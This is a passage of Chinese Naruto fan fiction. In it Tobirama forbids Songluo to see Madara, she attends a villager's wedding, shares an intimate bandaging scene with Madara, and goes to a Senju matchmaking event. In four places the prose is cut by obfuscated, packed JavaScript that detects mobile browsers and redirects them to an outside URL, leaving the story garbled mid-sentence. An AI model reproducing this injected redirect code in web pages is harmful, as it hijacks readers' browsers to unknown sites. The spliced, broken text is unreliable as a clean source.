他从怀里掏出一封信一样的东西双手递到松萝面前,脸上还带着点不好意思:“城主大人,我明天就要和恋人成亲了,虽然很简陋,但如果您不介意的话,可以来看看吗?” 他的眼里仿佛写着“你是他的再生父母”几个大字,松萝沉重地接过比她自己还大的“儿子”的成婚请柬,表示自己一定会去的。 既然要去,就不能空手去。 终于有事情干了的松萝滚着轮椅就跑出了城堡。 然后被下山路上的小石子颠到怀疑人生。 她停下来,痛定思痛两秒,将轮椅抛弃在半山腰,召了一棵满脸尖牙的尸臭花驮着自己下山了。 由于这副样子实在是过于奇特,集市上的人都纷纷避开,甚至付账之时老板都没数钱就把东西扔给了她。 虽然罪过,但是省了几两钱好开心哦。 发现了省钱攻略的松萝开启了买买买的路程,直到钱包空空才意犹未尽地带着大包小包离开。 回到城堡的时候正好跟带着包袱出门的柱间擦肩而过,然后被正好在门口的扉间叫走。 “大哥怎么突然走了?” 松萝上山的时候回收了被她扔在山路上的轮椅,腿上放着刚买来的东西,被推着往里走。 “族长长时间不在族内容易引发怀疑,我就给他接了个石之国的长期调查任务,那里据说有尾兽出没。” 石之国又偏又远,是一个比较穷的国家,路途坎坷,这真的不是在报复他这段日子的擅离职守吗? “不用怀疑我,尾兽相关的任务,也只有他那样的人形怪兽去调查才是最好的了。”他是在衡量过一切后才替大哥接的这个任务,不过离接下到现在已经耽误了几日,所以柱间才不得不急忙离开。 扉间忽然低下头:“那家伙的事情搞定了,接下来就到你了。你的伤是谁打的?不要告诉我是摔的,我没有傻到连摔伤和打伤都分不清,也不要告诉我是被不知名的人打的,看到蓝色巨人和绿色巨人的人可不少啊。” 松萝干笑:“哈…你都知道了还问我…” “是那家伙的的须佐能乎吧。你们俩是傻瓜吗!被人打了不还回去还跟那家伙整日嬉皮笑脸地玩乐?你身体上的疼痛难道还不能让你明白宇智波是多么冷酷残忍的人吗…” 扉间突然就大声教训了起来,他是真的生气,两个傻瓜一起被一个宇智波哄得团团转。 他停下轮椅,转到松萝正面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992991|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手搭在两边把手上,严肃地说:“不管你什么时候认识的那家伙,怎么认识的,一起做过什么聊过什么,这一切过去的事都可以不论,但是,从今以后,你不准再跟那个宇智波有任何来往。” 他的话很坚决,是陈述也是命令,带着惯常发号施令时的冷酷和不容拒绝,松萝下意识地就觉得不舒服。 虽然平常扉间也会像个严厉的大人一样管她,但多少是带着无奈和宠爱的,这样完全是上级对下级一般的命令,在战场以外的地方听到还是第一次。 别说这命令式的语气她不喜,这命令的内容她也无法接受:“我已经不是个小孩子了,我有决定自己来往之人的权利。” “不,在这件事情上,你没有权利。”他直视松萝的双眼,赤红的双瞳像浸了血一样变得暗沉,这是在外面,他本来不想将事情说得那么明白,但看样子不行。 “你很特殊,这一点你自己也清楚。长老们从来没有放弃过让你和大哥结合的想法,你没有受到逼迫是因为之前由父亲扛着,现在由我们扛着而已。” 松萝瞪大眼睛,这事不是这两年都没有人提起了吗,而且在家中他们从未谈论过这件事,族人们的态度也大多是当笑谈和调侃一样,她和大哥也从未有过那个意思,所以她也没有认真对待过。 比起木遁,更糟糕的是她治病的能力,这已经不是能用忍术解释的范畴了。 未知的力量更容易遭人觊觎,就算是看着他们长大的族人也不一定都是善,更何况渴望力量的外人。 他叹了一声:“松萝,你有没有想过如果被族人发现你跟那家伙的关系和来往,你会落到什么处境?” 这事她再清楚不过,当年大哥被发现时,她第一个反应就是不能让别人知道,否则大哥可能会被当作通敌的叛徒。那时候他们还只有十几岁,尚可以用年少无知作为借口,而现在呢?松萝刚刚才说了她自己已经不是孩子了,现在就要为成为一个大人付出代价。 “可是大哥他也…”把斑当朋友,也在嬉笑往来,为什么她不可以呢? 扉间面无表情地看着她,收回手,直起身子远离,居高临下的视线给松萝一种很不好的预感,就好像他接下来也会用跟冷酷的视线一样的伤人话来狠狠地扎她。 果然,他说: “你和大哥不一样。” “你自己不明白吗?” “你真的不明白吗?” 啊,她不明白啊,为什么大哥可以她不可以。 她看向扉间的目光不禁流露出无助之意。 扉间无视了她的目光,重新走到后头,推着松萝回了房间,这过程中再没有发一言。 * 然而,回到房中的松萝一个人待着的时候越想越气。她最后虽然被扉间的气势压倒被吓到了,但他说的话做的事都没什么道理啊。 限制交友,否定人,还威胁她,简直比老婆婆管得还宽。 ——你真的不明白吗? 他的话又在脑内响起,松萝一下拿起枕头把自己的脑袋埋在下面,听不见,不想听,烦死了。 ——从来没有放弃过…你和大哥的结合… ——…被发现了…什么处境… ——你和大哥不一样……你真的不明白吗? 45.失格的忍者 半夜三更,月上梢头,松萝睁着大大的眼睛,失眠了。 第二日,她顶着两个超大的黑眼圈天还没亮就出了门,下山,来到了今日要成婚的四平和他的未来妻子的家门口。 事实上他们早已住在一起了,今日就是一个简单的仪式和请人喝一杯酒而已。 因为要准备的事情很多,四平和他的未来妻子小桃起的很早,然后看到了门口到得更早的城主。 松萝这次是真的不好意思了:“抱歉,是不是来得太早了?我再出去逛会儿街吧……” 四平和小桃对视一眼,将松萝迎了进门。 小桃意外的很年轻,跟松萝差不多大,比四平这个之前在外辛苦讨生活的男人小了整整一轮。 但小桃言行间的温柔优雅倒令她显得成熟不少。 “进来吧,这么早街市都还没开呢。” 松萝心虚地望了望蒙蒙亮的天,率先从怀里掏出两根银簪,祝他们百年好合,仿佛这样就能减少她这么早打扰的窘迫一样。 小桃欣喜接过,四平收下之后道谢几声就出去做准备了。 松萝坐在轮椅上打量房子,两个人住不大不小刚好合适,应该是这两年按新规划下建的,建筑材料都是新开的砖窑烧制的,比旧筑要防雨防震许多。 小桃到了一杯水给松萝,然后坐在她面前。 看着小桃素面朝天还没来得及装扮自己的样子,松萝心中充满了对今天这个主角新娘子的愧疚,正准备饮尽这杯茶离开,就听到她问: “城主大人是不是遇到了什么事?您别看我虽然年纪小,其实我经历的事情可多着呢。” 松萝不安地用手指磨着茶杯底部,没有点头也没有摇头,静静地嘬了一口茶,最终在对方鼓励的眼神下开口:“其实我有一个朋友,她最近遇上了点难事。” 一旦开了口,后面的事情就好说多了。 “她有一个从小就很要好的朋友,但是最近发现这位朋友跟她们家是有世仇的,这件事情因为一些原因被她的哥哥们发现。她的大哥呢,其实跟这位朋友也曾是少年好友,但因为家族原因不得不断交,因此没有反对她和朋友来往;但是她的二哥却严厉地、坚决要求她不能再与那个朋友有任何来往。” 松萝说到这里就停了下来。 小桃想了想问:“所以她是因为被阻止了和朋友来往才不开心的吗?” 茶杯底部好像有个小缺口,松萝将指腹递上去填满那个缺口,然后接着说:“我觉得不是,她其实心里清楚二哥是为了她好,也明白跟世仇家的人往来的坏处,但她觉得她不能就因为这样的理由就跟一个多年的朋友断交。而且她的大哥还跟那位朋友有说有笑,她说不公平,她二哥却说,因为你们不一样。” “为什么呢?”小桃很自然地顺着她的话发问。 “她…她也不知道为什么啊……” 小桃眨巴着眼,突然变得活泼起来:“您的朋友…的朋友一定是一个男孩子吧?” 松萝:“嗯?是这样的。” “那您的朋友的二哥一定是怕您爱上那位朋友啦。”小桃笑意盈盈地说,后半句的语言漏洞两个人都没发现,“好多话本里都这么写的呀,男女主人公在这样禁断的关系下相爱然后被长辈拆散,最后不是痛苦自杀就是一起私奔。” 被比作老套话本中的主人公的松萝嘴角抽搐,这就是为什么好多市面上的话本她都看不下去的原因,太狗血了,太假了。 “不可能,我那位朋友不可能抛弃家族自杀或者私奔,更何况她也没有跟世仇之子相爱。” 要有多失智才能因为爱抛弃生养的家族私奔啊,她不理解也不想理解。 小桃“唉”了一声:“我觉得这样挺浪漫的。” 果然不愧是要当新娘的人吗,居然能从世仇想到浪漫。 “我还以为她的二哥一定是怕她未来被感情影响,做出一些不恰当的举动才会这么严厉地阻止他们来往呢。” 松萝重复她的话:“被感情…影响吗?” “是啊,这世上哪里有比爱还更能影响人的理智的东西呢?” “爱?”松萝并非不懂爱,只是呆滞地重复听到的字眼罢了,小桃却以为她不明白什么是爱,开始兴致勃勃地给她解释。 “爱啊,当然不止爱情,还有别的亲情友情也可以是爱啊,但果然只有爱情才是最适合这个字的。爱会让人时刻念着他想着他,想要得到他的全部关注又想要保护他给他最好的东西。爱会让人忘记自己的身份,放弃该做的事而只做想做的事,所以才说爱会让人失去理智啊……” 松萝觉得现在倾诉着什么是爱情的小桃很美很可爱,她一定是想起四平了吧,才会有那么多说不完的话,才会笑得像是得到了全世界一样。 她也拥有这样的爱,来自许许多多的人。有大哥,有二哥,有父亲,有奚山,有斑……但他们好像从未爱得像小桃说的一样,全世界只有你一个。 他们“爱”她,但还保留着理智。 情感的前面是理智。 感情的前面是任务。 他们在是她的哥哥、父亲、朋友、追求者之前首先是一名忍者。 忍者是以任务第一为天职,无论何时何地都不能将感情外露的人群。 而她是一个失格的忍者。 扉间说的对,她并非不明白。 她从以前开始就是一个容易被情感左右的人,不然也不会暴走失控那么多次。 她和大哥不一样,和斑也不一样,他们可以抛却私情战斗,她做不到。 她只会逃避和犹豫,即使这会要了她的命。 她只会越陷越深无法自拔,所以扉间才要狠心将她拔出来。 * 回到熟悉的四层城堡前,松萝心里很是复杂。 五年前第一次来的时候,因为城主失踪,全体上下都乱糟糟的,有人为所欲为也有人携款逃跑,她很讨厌来着。 她花了五年的努力,让城堡焕然一新,也成了谁都向往尊敬的地方,包括她自己。 她就像个山大王一样在这里“作威作福”也没有人训斥她。 然后,她在这里的地牢遇上了斑,那是她们在互相知晓身份那次之后的第一次见面。 这里就像是个桃源乡,进来的人都能和平相处,没有勾心斗角,没有血海深仇,没有对立身份。柱间和斑虽然不说,但他们也一定是喜欢在这里的时光的。 松萝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她捧着斑的脸向下,两边的碎发扎得手背痒痒的,长发从他的肩上落下,点在松萝的脸上,耳朵上,肩上,遮挡了左边探究的视线。 他们的脸突然就凑得很近,呼吸交缠,松萝却只看得到他的眼睛里自己的倒影。刚刚那一瞬间,她即将摔倒的那一瞬间,他要对着她发怒的一瞬间,这眼里才真真正正只余下了她一个人。 以前她没发觉,现在才知道,这种眼里只有你一人的眼神是多么令人着迷和沉醉,特别是将分散给他人的视线成功夺来的快感,混杂着胜利的喜悦和完全占有的满足。 好像终于有什么被拨开了一层冰冷的外壳,露出熊熊火焰,灼到了她的心里。 ——太近了。 斑本来就是一个对距离特别敏感的人,过于近的社交距离会让他产生生理性的不适,是如果有人站在他背后就连尿意都会憋回去的类型。不过,对于松萝的碰触和接近他并不会这样。 事实上,跟她在一起时,她时常动不动就凑近,从拉袖子到拉腰带,从拽头发到剪头发,他起初还会摸着手臂上的鸡皮疙瘩气得跳脚,后来竟也习惯了她的气息和动作。 尽管如此,现在这个样子还是太近了。 而且泉奈还在旁边……斑开始挣脱她的手。 松萝轻声制止他:“看着我,斑。” 46.(*ω\*) “你突然这是做什么?”斑果真停下了挣脱的举动,皱眉看她,感到不解。 ——不对,不是这样的眼神。 ——不对,你现在是在做什么啊。 松萝突然反应过来,收了手上的力道,内心产生几分懊恼,她究竟是在做什么,她可不是为了浪费食物来的。 果然是因为听新娘子讲了近一个时辰的爱情故事的缘故吗,她竟然也开始渴望一双只能看得见自己的眼睛了吗?在这种时候,这个场景,这个对象,多不合适。 “抱歉。”她缩回手,低下头去,然后去推前面的人的胸膛。 然而,宇智波斑纹丝不动,背后的手臂箍得很紧,甚至能透过薄薄的衣料感受到紧绷的肌肉曲线,松萝突然就感受到了过于靠近带来的不适,推人的动作便带上了些力度。 没想到却换来背后用力的一推,她本就只靠着腰间的支撑站立,没有多的受力点,这一推,她上半身就往前倒去。 她紧紧闭上眼,鼻子最先撞上一堵硬墙,然后是额头,眼廓,再是嘴巴,五官被挤压的瞬间她感到呼吸困难,同时又感受到一阵温暖,凉凉的脸颊一下子就被捂热了,还有一股皂香…… 还未来得及辨别是什么味道的皂香,她就感觉到侧脸被戴着手套的拇指压住,下巴柔软处被指关节轻轻一顶,松萝不由自主地仰起脸,露出流畅美好的下颌线。 入目的是一张嘴角微微勾起的脸,和带着些许侵略性的眼神,就像下一刻就要发起进攻的豹子,专注,蓄势待发,威胁性十足,被锁定的猎物此时脑海里只划过了退缩和逃跑的念头。 侧脸上的大拇指在脸上掠过,下滑,擦着唇线边缘落到下唇和下巴间的凹陷里,只要再往上移一寸就能按压在柔软的红唇上,但他没有。 他什么也没有做,松萝却突然之间觉得口渴了起来,心跳忍不住加快,真的就像是被豹子锁定了的小鹿,在死生之间挣扎,一秒钟都被拉得好似有无限长。 松萝听到他从鼻子里轻轻哼了一声,带起微微气流扑在自己鼻尖,然后他说:“让我看着你?那就不要移开视线好好确认。” “看着我,松萝。” 也许这个时候插话很不合时宜,但是站在一边的宇智波泉奈还是“咳咳”了两声,虽然被长发挡住看不真切,但话还是听得清清楚楚,他心中不得不冒出一个疑问:这个千手和大哥是什么关系? 以及即使站得远也能感受到的那股焦灼又莫名压得人喘不过气的氛围,他总觉得事情不太妙。 忍者都是对距离很敏感的,他大哥尤甚。不论男女,近他周身一尺他都会皱眉,忍不住防御或者攻击,更何况像现在这样,将人彻底拢在了怀里,他从未见过。 “泉奈你先出去。” 他并不想出去,但那语气里不容拒绝的意思很明显,最后看了眼黑白交融的衣料,他带着自己也说不清的复杂心情走了出去。 一旦只剩下两个人,松萝就更觉得喘不过气了,身上无形的压力好像瞬间翻了一倍,她不敢动也不敢移开视线,对方黑色的瞳仁里好像有漩涡,越转越大,将她整个人都要吸入进去。 明明不是写轮眼,她却觉得自己好像中了幻术。 ——这就是战场上令人闻风丧胆的宇智波斑吗?果然光这股杀人的气势就要将她压倒了。 她在压回去和被压倒之间选择了—— “我…脚疼…站不住了…” 这话就像有魔力一样,瞬间将压力驱散了。她就好像永远都能找到野兽的开关一样,轻飘飘的一句话就将他关了起来。 斑轻哼一身表示暂时放过她,松了钳制的力道,弯腰将她横抱起来。 松萝美滋滋地环上他的脖子,典型的好了伤疤忘了疼,立刻开始当面告状:“你刚才好凶!” “凶?”斑好笑地看她一眼,本来想将她放到轮椅上的,又突然改了主意,“这可比不上你凶我的时候。” 等了一会儿,斑都没有将她放下来的意思,松萝不安地叫他:“斑?” 他看着轮椅下方的踏板,冷静地回答:“脏了,被刚才的汤泼到了。” 听着像是嫌弃又没有那么嫌弃。 其实两人的衣角也都被泼到了,松萝更严重一些,白色的衣裙边都是黄色的污渍,腿上也被泼到了。 斑抱着松萝离开那个汤撒现场,将她放到了床边坐下。这里是城堡的客房,跟主人间一样宽敞明亮,只不过陈设简单,只有一张床,没有其它家具。 松萝怕自己脏了的衣服将汤汁沾到床上,不安地往外坐了坐。 “坐好。” 声音从头顶上方传来,松萝就乖乖不动了,抬眼偷偷看他。 “脚痛?” 他蹲下来,不顾粘稠的汤汁,先用手摸了摸不严重的左脚腕,前两天崴脚的肿起已经完全消失了,应当是快好了。右腿就比较麻烦了,用来固定的木板脏了,是必须要换的,绷带也要重新缠,本来离拆除还需要过一段时间,现在需要重新固定不得不比之前更小心一点。 他检查完就先叹了口气:“你刚才在想什么?”这么反常。 松萝干笑,她怎么可能承认是因为刚刚他没有将注意力集中在她身上所以她很不爽要把他的注意力都抢过来这种……这种……像极了……争宠的话? 嗯? 嗯?? 她在争宠? 跟谁争宠?刚刚只有泉奈在,跟他? 等等,确实,在弟弟们来了之后,这两天柱间和斑就不围着她转了,她也确实变无聊了,甚至多了分烦躁。 但他们是在讨论正事啊。 嗯? 嗯…… …… 所以,她居然是那种会因为兄长和朋友因为讨论正事忽略她而闹别扭的人吗?那岂不就跟因为父母工作忙没时间陪玩的小孩子一样的生气理由吗? 她已经不是小孩子了,绝对不可能就因为这点事情就争宠吃醋! …… 其实这也正常吧,毕竟她还只是一个只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斑的思绪被打断,他起身出门,不但接了水,还带来了重新包扎用的物品。 松萝弯腰洗脚时注意到自己的衣服下面也脏了一大片,不好意思地问:“那个,你能不能再帮我拿件干净的衣服来?” 随即她意识到自己这个要求的不妥之处,这不是让斑去翻她的衣柜吗,于是立刻改口:“不,你带我回房间吧。” 斑以一种“你事儿真多”的眼神睨她,他刚清理完地面,袖子卷起还未放下,进进出出一刻未歇。 松萝被看得不好意思地低下头,这事确实是她自作孽。 当她以为斑是不是生气了的时候,突然一件衣服罩住了整个头,她把衣服扒拉下来发现居然是一件墨蓝色的长袍,很是眼熟……她刚要开口说不是要他的衣服,就发现斑已经带上门出去了。 松萝:…… 她抱着长袍突然觉得有些烫手,她能不能收回前两句话,脏就脏吧。 47.云思月 换还是换了,又不是他刚脱下来的,是洗干净了的,穿一下又不会怎么样。 嗯…话虽这么说… 松萝伸直手臂,发现连指甲尖也被衣袖遮了个严严实实,再看一眼脚下,衣摆已经遮到了脚踝,长袍又宽又松,将她整个人都罩了起来,从头到脚。 她心底突然痒痒的,很奇怪,奇怪到她想把自己蒙起来,不想被人发现。这么想着,也就这么做了她缩了缩脖子,将眼睛以下部分埋进高高的立领内。 斑再次进来的时候看到的就是她将自己缩成一团的样子,只露出毛茸茸的脑袋和一双眼睛在外面,手脚都被盖了起来,见到他时还慌张地移开了视线。 有那么一瞬间,他被钉在了原地。 但是下一瞬间,他又自动迈出了脚步。 “该换绷带了。”他说。 走到近前才想起来手里什么都没拿,又折返端起装了药品和绷带的托盘。 他拆木板和绷带的手法很专业,也很专注,就好像跟刚才失神的不是一个人一样。 他半蹲在地上,温暖的手掌托起小腿肚,柔软滑腻的触感从指尖传到掌心,带起一阵酥酥麻麻的痒意。他呼吸突然变重,手上停了一瞬。 “你干嘛摸我腿!” 什么想法都还没升起就被这埋怨的声音打断了。 他无语地翻了个白眼,拿着绷带往上缠,一边说道:“不用手摸难道我用脚给你缠绷带?” “那你干嘛动作那么轻,很痒的!” 斑叹气,一边说一边抬头:“让我重一点,你是想让这条腿废……” 话音戛然而止,宇智波斑脸上满是错愕,手上的动作也不由得停了下来。他看到松萝通红的脸和耳朵,两眼汪汪若含春水瞥向左侧,右手紧紧攥着衣袖挡在脸颊前。 ——她在害羞。 ——刚刚的无理取闹只是在虚张声势。 意识到这点的斑感觉心底好像被挠了一下,痒得他浑身难受。 松萝感觉到他在看她,又气又急,她一不作二不休直接躺倒,然后拽过被子蒙住自己的脸。 还未缠完的绷带突然就全乱了,一半落到雪白纤细的脚踝,一半落到斑的指间,杂乱地交缠在一起。 斑的心脏突然快速地跳动起来,这是今晚的第几次了,他想。 从她突然捧住他的脸要他“看着她”的时候,斑就明明白白,清清楚楚地认识到自己心动了。之前他还可以骗自己说是对多年好友的关爱之情,是对一个善良美好的存在的珍惜之情,但当他有想要触碰那双唇的冲动的时候,他就认清了。 不过是鱼想水,花怜枝,云思月,他恋她罢了。 所以他才故意将自己的衣袍丢给她,就是为了满足自己的一点小小的私心。 也是故意摘掉手套,就是因为想直接碰到她。 他哪里是什么兔子,明明是披着兔子皮的豺狼,隐藏着算计。 只是这怎么也安静不下来的心跳让他恍惚,怎么好像中了算计的反倒成了他自己? “你怎么不继续包扎了?” 闷闷的声音从被子下面传来。斑能想象到她的样子,双颊一定似刚才一样粉嫩,甚至因为被子蒙住脸呼吸不畅而被憋得更红,贝齿一定咬着下唇,半是恼羞半是懊悔刚才被他看到。 她的脸皮真的很神奇,一会儿厚得像城墙,一会儿薄得如蝉翼,宇智波斑忽然捂住了嘴,她真可爱。 不如让这腿永远断了,让她只能依靠他。 不,他舍不得。 她那么可爱,该是这世上最自由快乐的女孩。 他重新开始包扎,这次一点停顿都没有,又迅速又轻柔。 “好了。”他扯扯被子,想让松萝出来,“别闷着了。” “我想睡觉了,你出去。”她还是不肯出来,开始赶人。 宇智波斑偷笑一声:“这可是我的房间。” 松萝:“这还是我的城堡呢!” “那好吧,我出去。” 关门声传来,过了好一会儿,松萝才呼了一口气,将被子推开。 然后……对上了一双似笑非笑的眼。 松萝:……?! “你骗我?!”她握紧拳头朝人砸去,总感觉今晚脸都丢尽了,干脆同归于尽好了。 拳头被宽大的手掌轻松抵住,然后滑下钳制住她的手腕,一击不成,松萝从掌心射出藤鞭,斑头迅速一偏躲过。 松萝手掌一转,藤鞭就像长了眼睛一样从后头转回,直呼斑的后背。 “哗——” “啪嗒”一声藤鞭就甩了个空,撞到墙上跌落到地,清脆可闻。 这之后,房间里却没了声响。 斑一手压着松萝的右腕,一手撑在她耳旁,跪伏她身上,刚刚千钧一发之际他往前一压,两个人就一起倒在了床上。 松萝动了动手腕,换来他一个挑眉和更紧的压迫。她只能咬牙切齿地求饶:“你起来,我不动手了好不好?” 斑闻言放开她坐起来,松萝哼哼唧唧地活动着手腕,然后趁他要转头的一瞬间拿头猛地撞了上去,然后捂着发痛的额头不甘心地说:“我只说不动手,没说不动头啊。” 嘶,这人是练了什么铁头功吗,为什么她被撞得那么痛,他却看上去一点事都没有? 斑盯着她红了一圈的手腕,有些严肃地叮嘱她:“不要从我背后偷袭,我会控制不好力道。” 这是长期战斗形成的反射性动作,他没有办法百分百控制住。 “我知道,”松萝甩甩手,这事儿她听柱间讲过,“你是那种敏感到身后有人就尿不出来的人嘛。” 他的表情突然变得很难看,像裂开一样,磨着后槽牙问:“柱间说的?他怎么能跟你说这种话?而且你一个女孩子怎么能把这种字眼挂在嘴边?” “所以是真的啰?” 松萝好奇地凑上去看他的表情变换,蛮有意思的。 “什么字眼?人生不就是屎屁尿的循环嘛,敢做还不敢说了吗?” 他气得手开始哆嗦,指着她却不知道该从何说起,这种时候宇智波斑更像个大世家的端方君子,礼仪这种事情已经被刻在了骨子里,就是骂人也就翻来覆去的几句“废物”“无用之徒”,衬得松萝此刻好像个叼着草根的女土匪。 她嘻嘻笑开:“好了,不耍你了,大哥才不是会背后嚼舌根的人,都是我自己猜的。” 柱间和扉间也是一样,作为大忍族的族长之子被培养长大,礼仪上的教导很是严格,她从没见过他们说浑话的样子。 扉间啊,想起他松萝就收了笑容变得严肃,她认真地说:“斑,我有事想问你。” 没想到他说:“我也有事要问你。” “为何外界从未流传过森之千手有第二个木遁使的事情,这对千手来说也是扬名的好机会,为何要藏着掖着?” 能与他一战的木遁使,为何从来没有听闻过一点风声? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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过了一段时间,两人站在一间坊屋前,头顶一块方形的红布上,正面是一个大大的“赌”字,背面是两个上下的字的“麻雀”。 宇智波斑面无表情地站在门口,真心觉得刚才的自己一定是鬼迷心窍了才会信了她说的“明天我就要走了,在今晚制造一点属于我们的回忆吧”的邪。尤其是在那样语出惊人提出的请求,他心一软就带她跑出来了,然后…… 他问:“这是什么?” “赌坊呀,快点进去了!” 他不瞎,难道还看不出来吗。 “这就是你说的,制造‘属于我们的回忆’?”说到后面带上了点咬牙切齿的意味。 “那种虚无缥缈的东西哪里有钱来得实在,走走走,我教你打麻雀!” 玩过的都说好,特别是柱间。 斑的脚下像灌了铅一样一动不动,后面要进门的一个醉鬼见他堵在门口骂骂咧咧地撞上来:“小鬼滚一边去,堵着个门还让不让人进了!” “嗯?” 斑眯着眼觑他一眼,那男人便自动熄了声音,瑟缩着退到一边。 松萝回头对男人抱歉笑笑:“不好意思啊,大叔,我们马上进去!”然后又低下头去耳语几声。 斑冷哼一声,最终还是走了进去。 …… 然后他们在赌场玩了一晚上,带着变重了一倍的钱包赶在天亮前摸黑跑了回去。 回去路上,松萝打着哈欠睡着了。 斑把松萝送回房间,将人从背上放到床上,用被子盖好。以为她睡得很熟的时候,她却睁开了眼,带着迷蒙水汽。 “再见,斑。” 48.千手联谊会 回到族里的松萝侧身躺在廊下的地板上,总觉得提不起精神。 三天前扉间带她回来后又去研究结界术了,柱间还在遥远的石之国的调查任务中未归,奚山在某个早晨说他师傅叫他去修行就被逆通灵之术召走原地消失了,至于猫咪老师这两年都已经快成为野猫了。 ——没意思。 一定是没人陪她的缘故。 想了想她拄着拐杖去了千手弥实的家里。 这家伙之前说要跟喜欢的人告白就没了下文,正好问问他的进展。 他十五岁以后就搬出了他的亲哥和嫂嫂的家,变成了一人独居,倒是没有之前那么遥远了,走了一柱香功夫就到了。 “咚咚”“咚咚” 敲了几下门都没有反应,松萝熟练地从门口的花盆底摸出钥匙自己开门进去。 一进去她就被吓到了,房里的弥漫酒气暂且不论,一个身影头着地,腿还在床上,地上还有可疑的红色液体,宛若一个凶案现场。 松萝大惊,扔掉拐杖,跳到他身旁,感受了一下脖子上的脉搏还在跳动,又确认了地上红色液体不是什么血,她没好气地往弥实头上拍了一巴掌。 “嗯?” 这一掌她用了九成九的力道,把人拍醒的同时,也把人拍蒙了。 “我说这位兄弟啊,你没事学人家买醉干什么,能不能积极向上一点。” 千手弥实听到耳熟的声音才渐渐恢复了意识,然后一撇嘴,鼻子一抽,居然抱着松萝大哭了起来。 一边哭一边委屈地说:“她说她有喜欢的人了……哇……而且她不喜欢我这种类型的……她喜欢长得像小白脸的精英忍者……我好难过,她这是骂我长得不够帅呢……” 松萝:……不,你长得够好了,我觉得她是嫌弃你不够精英。 但是失恋的人要顺着毛撸,于是她只能应和:“那是她眼睛不好,比你帅的人还没出生呢。” “你也骗我!扉间大人明明就比我长得好看!” 男人无理取闹起来也是真的很难令人招架,松萝翻了个白眼,换了种态度:“闹够了没有,没有我走了。” 她也心烦着呢,怕是没那个能力安慰的了别人。 弥实立刻止住眼泪,委委屈屈地说:“你别走,我只剩你了,嘤嘤嘤。” “噫,别来恶心我。”松萝抖了抖身子,拍掉不存在的鸡皮疙瘩,然后站起来,“你,去洗个澡,换个衣服,臭死了。我去给你弄点醒酒的。” 弥实有一点就是好,坏心情来得快去得也快。 在短暂的被安慰之后,姑且恢复了正常,反倒关心起松萝的伤来。 “唉,别提了。” 最近发生的事就算是对弥实她也难以开口。 两个人坐在桌边不约而同地叹气,人生好苦啊。 没一会儿,松萝就站起来:“算了算了,跟你在一起我反而更难受了,我走了。” “等等!” 千手弥实叫住她,然后跟下了什么决定似的,握拳一拍桌子,说:“我决定了,我要去参加联谊!” “什么?” “忘记前一段感情的最好办法就是开启下一段!我要去联谊会上找我的下一个!你也一起来吧!” 这个观念松萝也不知道该不该苟同,但他要叫上自己一起去的行为就不敢苟同了,她提起拐杖:“就我这状态?” “这次大型千手内部联谊会在半个月后,到时候你已经拆了固定板了,可以去!”他认真推销的样子一点也看不出是刚刚失恋的人。 松萝想了想,她也确实需要转换心情,一咬牙就答应了。 * 千手联谊会,也可以说是相亲大会,只要是适龄的男男女女,不止是忍者,普通族人,族人的外亲戚,外亲戚的亲戚也都是可以参加的。 所以当到了那一天的时候,总人数竟然达到了两百,时间也被延长到了三天。 场地由原最大的手里剑训练场改装,添加了许多桌椅和鲜花。松萝跟着千手弥实到场的时候,也被眼前花花绿绿的衣服和无数的香粉吓得后退了一步。 她面不改色地抓了把鼻子,防止当众打喷嚏出丑,然后嘀咕:“怎么那么像赶集。” 这么多人在一起,就算是低声讲话混在一起也是有点吵闹的,更何况还有一些嗓门比较大的人和故意想引人注目的人,反正…很是热闹。 千手弥实咽了咽口水,压了压衣襟,整了整腰带,然后,站到了松萝身后。 松萝无语回头:“…你怂什么?” 她就不一样了,秉承着“来都来了”的想法,先转一圈看看有没有长得好看的人吧。 她今日的发香用的是柠檬罗勒,双燕眉用最新的螺子黛描摹勾勒,浅桃色的唇脂只淡淡晕染了下唇,同色的浅桃和服上压着花瓣似的银色暗纹,额边碎发微卷,身后长发及腰齐断,最中间一缕编发用花坠子收拢自然下垂。 就算不是真的来相亲,她也要把自己装点的美美的,美好的妆容和服饰总能让她开心一整天。 她大方地走了进去,瞬间吸引了数道视线,心里暗喜,忍不住自恋起来。 很快就有人找她搭话,问她要不要喝点什么。 松萝将特意买的锦扇提起,做作地将小拇指微微翘起一个小角度,然后“娇羞”地用扇面遮住半张脸回了一声“好”。 慢了几步的弥实瞧得一愣一愣的,然后也在不知不觉中被陌生女子包围了。 虽然被人夸漂亮的时候是真的开心,但等围上来的人开始盘问家世年龄职业兴趣爱好是不是忍者会什么忍术等问题时,就渐渐有些累人了。 不愧是相亲大会,比打个仗还要累,松萝笑得嘴角都僵掉了,还得重复相似问题的答案,喉咙渴得直冒烟,喝了五杯水都不止了。 这些还都不是最可怕的,最可怕的是在相亲大会上遇上熟人。 她对上若兰和若树俩姐弟看过来的目光时,被一口水呛得面红耳赤。 等缓过神来,两人已经走到了她面前。 “你怎么在这里?你也来这里?你竟然在这里?”三连问发自若兰,好奇和探究全写在脸上了。 